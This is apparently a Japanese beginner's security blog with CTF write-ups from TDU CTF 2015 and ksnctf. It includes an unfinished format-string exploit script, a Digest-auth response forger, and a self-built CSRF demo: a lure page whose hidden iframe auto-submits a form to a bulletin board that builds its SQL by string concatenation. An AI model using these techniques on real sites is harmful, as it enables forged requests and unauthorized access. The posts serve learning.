つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

TDU CTF 2015に参加してきた

どうも、CTF初心者が通ります。
本日、TDUCTF 2015に参加してきました! 最初は補欠だったのですが、枠が増えたことにより、繰り上がらせてもらえました(歓喜)
なかなか問題が解けなくて、サービスをいただいたおかげで解けた問題が大半を占めているのですが、結果として6問解けました。

①練習問題
これは・・・ よくあるHello world的なアレですね

②ESPer
私はCharlotte見てなかったのですが、Twitterやってる方ならわかると思います。
友利奈緒でいけました

③おわり?
おわり・・・ SEKAI NO OWARIですね
一時期、フカセさんが暗号をTwitterに投稿して、それが流行ったらしいです
問題の画像をダウンロードして開いてみると・・・ なんとカラフルなのでしょう!
数字がカラフルにTDU{ }の中に並んでいます
赤色の1ならば
Redの1番目、つまりRといった具合に複号化すればいけます

④Lie
指定されたURLにいくと、クッキーの画像が出てきます。
そして、なにやらそのクッキーをめっちゃ指差してます
そこで察してあげて、Cookieを覗いてみると、値がFalseになっています。
名前はisProとなっているので、プロでないということを表現してるんだろうなーと察します
この問題の名前はLieなので、自分がプロでないということを加味し、嘘をつくと、
値をTrueにすることになります。
それでページを再読み込みするとプロの方の写真とともにフラグを取れます

⑤14:50
これはムービーを見て、突如現れるフラグを打ち込めばいける問題です

SQL Practice
のむけんさんのツイートをSQLクエリ発行により取得できます
いただいたソースコードから、フラグがありそうなカラムを探すと、textというカラムがひっかかります
フラグの形式は /TDU{.+}/なので、
SELECT text FROM tweets WHERE LIKE 'TDU{%'みたいにしてやればいけるかなーと思いきや
引っかからない・・・
おそらく構文間違ってるんでしょうね
LIKE '%TDU{%'みたいにしてやればいけるんでしょうか

ですが俺はSELECT text FROM tweets;を発行し、ブラウザの検索機能で探しました(オイオイ

いやー、改めてみると全然解けてないな・・・ サービス問題でヒントもらいながら解けたようなもんで、ダメダメでした

あと、気になったのがCharlotteという問題なのですが・・・
netcatで接続すると、対話的なやりとりができるのですが、どうやらFSB脆弱性があるっぽい?と思い、以下のようなコードを書いてみました。
だいぶ汚いですが・・・

#!/usr/bin/python
import sys, socket, struct, telnetlib

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)

def sock(remoteIP, remotePORT):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteIP, remotePORT))
	return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def main(args):
	#-*- your code here -*-
	s, f = sock("crackme.sakura.tductf.org", 10773)

	message = read_until(f)
	print "[message]: " + message
	addr = message.split(' ')[5]
	print "address is " + addr
	m2 = read_until(f)
	print "[message]: " + m2
	print "Submitting..."
	submit = p(int(addr, 16)) + "%08x.%08x.%08x.%08x.%08x.%s"
	print "submit data is {" + submit + "}" 
	f.write(submit)
	ans = f.read(1024)
	print ans

if __name__ == '__main__':
	main(sys.argv)

実行してみたのですが、ans = f.read(1024)のところがうまくいきません。
内部処理でfgetsを用いているらしく、そのことも考慮しなくてはいけないらしいです

とにかく言えることは、さくらインターネットさん、運営の方々に感謝感謝です。

Watashi wa tottemo katagaitai!!

本日、秋葉原UDXで肩を痛くしてまいりました。
ついでに自分のバイナリ力の無さに胸を痛くもしましたが・・・(オイオイ

Write-upとまではいきませんが、紹介されたgdb-pedaのインストールに躓いたのでメモ。
使用環境がUbuntu 14.04であり、gdbがすでにインストールされていて、gdb-pedaを入れようとしたら、以下のようなエラーメッセージが出た!

Python3 is not supported at the moment, downgrade your GDB or recompile with Python2!

って方が対象です。

インストール手順は以下の通りになります

//既存のgdbを削除
hoge@piyopiyo:~$ sudo apt-get remove gdb

//既存だったgdbよりバージョンの低いgdbのバイナリパッケージをダウンロード
hoge@piyopiyo:~$ wget http://security.ubuntu.com/ubuntu/pool/main/g/gdb/gdb_7.4-2012.02-0ubuntu2_amd64.deb

//落としたパッケージのインストールを行う
hoge@piyopiyo:~$ sudo dpkg -i ./gdb_7.4-2012.02-0ubuntu2_amd64.deb
hoge@piyopiyo:~$ gdb -q
gdb-peda$

いや〜今日はとっても充実した1日になりました!
初心者の私にとっては、知らないことばかりでとても勉強になります。
スライド作成、環境構築、会場の用意等してくださった運営のみなさまに感謝感謝ですね!m(_ _)m

セキュキャンに応募しました

もうすでに応募してから4日経ちましたが、応募報告です。
提出した後で、GithubのMyMapWithAPIのAPIキーについて、readme作成するの忘れてしまった!!!ってなってげんなりしてます。

今年からCTFを友人と始めたので、セキュキャンを知ったのは今年始まってからになります。
つまり、今年が始めての応募になるわけですが・・・
来年就活なんですよね

もう今年しかチャンスないやん・・・

入念にチェックしたのに、こんなにミスって後から見つかるんですね(上記以外にもあるんです・・・)
もう、気持ちが伝わる事を祈るのみですね・・・

やる気はあるんだけど、いざ言葉にしようとすると、結構難しい
「もっとかけたよなぁ・・・・」 「いや、でもあれはあれで簡潔だから、これ以上書き加えないほうが良い!」 「いやでも伝わるかなぁ・・・」

12番、SSHの問題で、興味があったから最後まで諦めずやったのですが、結局時間切れで解けませんでした。
SSHって、よく狙われてるって聞くプロトコルだけど、具体的にどう攻撃するのか知らなかったのでこだわりました
12番といた人の回答はどこだぁ〜(怖い顔)


ブログを更新するのは久しぶりになりますが、CTFは自分なりに頑張って勉強してます
ネットワークやWeb以外にも、目を向けて挑戦しようと考えています
ブログも更新するよう、努力します へ(・・;)へ カタカタッ!

応募用紙についてですが、セキュキャンが終わったらブログにアップしようかなと思ってます。
自分ビビりなので、今はまだ上げません(笑)

CSRF(CrossSite Request Forgery)

CSRFを行うスクリプトPHPで作成してみました。
実際のものを攻撃できないので、掲示板を即席で作成したのですが、利用者フォームもない不親切な掲示板です(あくまでCSRFの動作が確認できることを目的とした)。

掲示板プログラム

<html>
	<head>
		<title>掲示板</title>
	</head>

	<body>
		<h1>投稿一覧</h1>
		<?php

		if($_SERVER["REQUEST_METHOD"] == "POST"){
		    writePostData();
		}

		function printPostsData() {
			try {
	    		        $db = new SQLite3('posted.db');
		  	} catch (Exception $e) {
		    	        return;
		  	}

		  	//発行するSQL文
		  	$sql = "SELECT * FROM posts;";

		  	// SQLの実行
		  	try {
		    	        //キーワード取得部分
		    	        $result = $db->query($sql);
		    	while($data = $result->fetchArray()) {
		        	print $data["name"] . ":" . $data["email"] . ":" . $data["ipaddr"] . "<br>";
		        	//print "\n";
		    	}
		  	} catch (Exception $e) {
		    	         return;
		  	}
		}

		function writePostData() {
			$name = $_POST["name"];
			$email = $_POST["email"];
			$ipaddr = $_POST["ipaddr"];
			$comment = $_POST["comment"];

			try {
	    		$db = new SQLite3('posted.db');
		  	} catch (Exception $e) {
		    	return;
		  	}

		  	//発行するSQL文
		  	$sql = "INSERT INTO posts VALUES('" . $name . "', '" . $email . "', '" . $ipaddr . "', '" . $comment . "');";

		  	// SQLの実行
		  	try {
		    	        $result = $db->exec($sql);
		  	} catch (Exception $e) {
		    	        return;
		  	}
		}

		printPostsData();
		?>

</body>

CSRF動作プログラム
index.php

<html>
	<head>
		<link rel="stylesheet" type="text/css" href="csrf.css" media="all">
		<title>Welcome!</title>
	</head>

	<body>
		<img src="gil.jpeg" onclick=<?php $myIPAddr = exec("ifconfig | grep 192.168.100. | cut -d ' ' -f 2"); print "location.href='http://" . $myIPAddr . "/csrf/board/board.php';" ?> >
		<h1>引っかかったな?悔しければ、俺をクリックしてみるがいい!</h1>
		<iframe width="1" height="1" class="only" src="csrf.php"></iframe>
	</body>

</html>

csrf.php

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html" charset="utf8">
		<title>submitter</title>
	</head>
	<body onLoad="document.forms[0].submit();">
		<form action="board/board.php" method="post">
			<input type="text" name="name" value=<?php $userAgent = $_SERVER["HTTP_USER_AGENT"]; print $userAgent; ?> />
			<input type="text" name="email" value=<?php $remoteUser = $_SERVER["REMOTE_USER"]; print $remoteUser . "@example.com"; ?> />
			<input type="hidden" name="ipaddr" value=<?php $ipAddress = $_SERVER["REMOTE_ADDR"]; print $ipAddress; ?> />
			<input type="text" name="comment" value=<?php $rand = mt_rand(0, 10000000); print $rand; ?> />	
			<input type="submit" />
		</form>
	</body>
</html>

csrf.css

.only {
	width:450; 
        height:680;
   border:none;
   margin: 0px;
   overflow: hidden;
   display: none;
}

CSSがなくても、属性でdisplay:noneを指定できるのですが、とりあえずCSSを使う形式で作成してみました。
gil.jpegFate のギル様です。
クリックすると、掲示板表示されるようになっています。

ksnctf Digest is secure!

ダイジェスト認証の問題。
かなり勉強になった(ダイジェスト認証についてのみ)
Authorizedヘッダに書かれている値をこねくり回して解くんだけど、単純なやり方ではダメ。
responseの作り方は以下を参照してもらえばわかると思うwww.wikiwand.com

A1は
A1 = ユーザ名:realm:パスワード
で生成される。A1で使用される情報は固定なのでこれは流用していい。

A2は
A2 = HTTPメソッド:コンテンツURI
で生成される。
ksnctfから配布されたpcapファイルにあるやりとりだと、/~q9/flag.html(フラッグが書いてあるhtmlファイル)じゃなくて、/~/q9/となっているので、URIは変更しなくてはならない。
まぁ、HTTPメソッドはGETであることがわかっているのでそこまで手間じゃない

最後にレスポンスは
response = MD5( MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2) )
で生成される。
A1、A2は解決したとして、nc, qopについてはq9.pcapのやりとりに書いてあるものを流用。
nonce, cnonceはDigest認証でユーザー名とパスワード要求の都度流用する。

こういった処理を助けてくれるpythonコードを書いてみた
といっても、すごく雑だし、汎用性皆無だけど

from hashlib import*

#ask nonce
print 'Please input nonce:'
nonce = raw_input()

#ask cnonce
print 'Please input cnonce:'
cnonce = raw_input()

#hashed data
hashed_a1 = 'c627e19450db746b739f41b64097d449'
uri = '/~q9/flag.html'
a2 = 'GET:' + uri

hashed_a2 = md5(a2).hexdigest()

#client side information
qop = 'auth'
nc = '00000001'

print '\n---------------------------result-----------------------------\n'

#construct response
#response = md5(  md5(a1):nonce:nc:cnonce:qop:md5(a2)  )

seed = hashed_a1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + hashed_a2
response = md5(seed).hexdigest()

print 'Use this seed : ' + seed + '\n'
print 'Use this response : ' + response + '\n'

nonce, cnonceは都度必要なので入力するようにした。
Fiddlerなどでresponseを書き換えてやればいける

いやー、md5逆変換できねー!!ってなって苦しんでたけどこういう方法ならいけるのね
時間かかった・・・泣

@tukejonnyBot 仕様変更のお知らせ

今までリツイートを行ってきましたが、友人から要望があったため以後ファボるように実装しました。
以降はTLでなく、Favoriteをご確認いただくことになります。
お手数かけますが、今後ともtukejonny、tukejonnyBotをよろしくお願い致します。

また、天気情報と検索キーワードについて、以前と同様にツイートするのでTLからご確認いただけます。

Twitterのボットを作成しました

PHPスクリプトでボットを作成しました。
@tukejonnyBotで探していただければ見つかると思います。
基本的には1時間ごとに、

・私が指定したキーワードに引っかかった、IT関連のツイートを最大5件リツイート
(キーワードは、いくつもある中からランダムに2つ選出し、ORで文字列連結します。)
・天気情報と、検索に用いたキーワードのお知らせ

を行います。
サイドバーのタイムラインをご参考になさってください。
※時折、疲れたとか、辛いとか発言しますが、無視してください。

TwitterAPIを利用してツイートしたりするのに、OAuth認証を用いるのですが、これには4つのキーが必要で・・・ 。 access_tokenが突然失効されるなど、結構なトラブルに見舞われましたが、無事動作するようになりました。